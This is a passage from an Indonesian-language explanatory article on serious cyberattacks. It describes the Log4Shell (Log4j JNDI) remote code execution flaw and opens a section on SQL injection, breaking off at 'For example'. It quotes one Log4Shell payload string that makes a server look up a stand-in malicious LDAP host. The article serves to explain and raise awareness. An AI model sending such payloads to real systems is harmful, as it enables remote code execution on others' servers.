Kerentanannya terletak pada kemampuannya memproses input yang dapat memicu eksekusi kode jarak jauh (Remote Code Execution/RCE) melalui JNDI (Java Naming and Directory Interface). Penyerang cukup mengirimkan string khusus seperti:
${jndi:ldap://malicious-server.com/a}
Jika log tersebut direkam tanpa validasi, maka Log4j akan melakukan lookup ke server jahat dan mengeksekusi kode berbahaya.
Keunikan dan bahayanya adalah:
Bisa dieksploitasi hanya dengan mengirimkan nama pengguna atau User-Agent tertentu.
Banyak digunakan di aplikasi besar seperti Minecraft, Apache, dan aplikasi enterprise.
Mudah dieksploitasi dengan dampak yang besar.
Log4Shell dianggap sebagai salah satu kerentanan paling serius dalam dekade terakhir karena kombinasi dari popularitas pustaka, kemudahan eksploitasi, dan dampak luas.
3. Serangan SQL Injection
Berbeda dengan dua serangan sebelumnya yang tergolong baru, SQL Injection (SQLi) merupakan teknik serangan yang sudah lama dikenal, tetapi masih sangat relevan. SQL Injection terjadi ketika input dari pengguna dimasukkan langsung ke dalam perintah SQL tanpa validasi atau sanitasi yang benar.
Contohnya: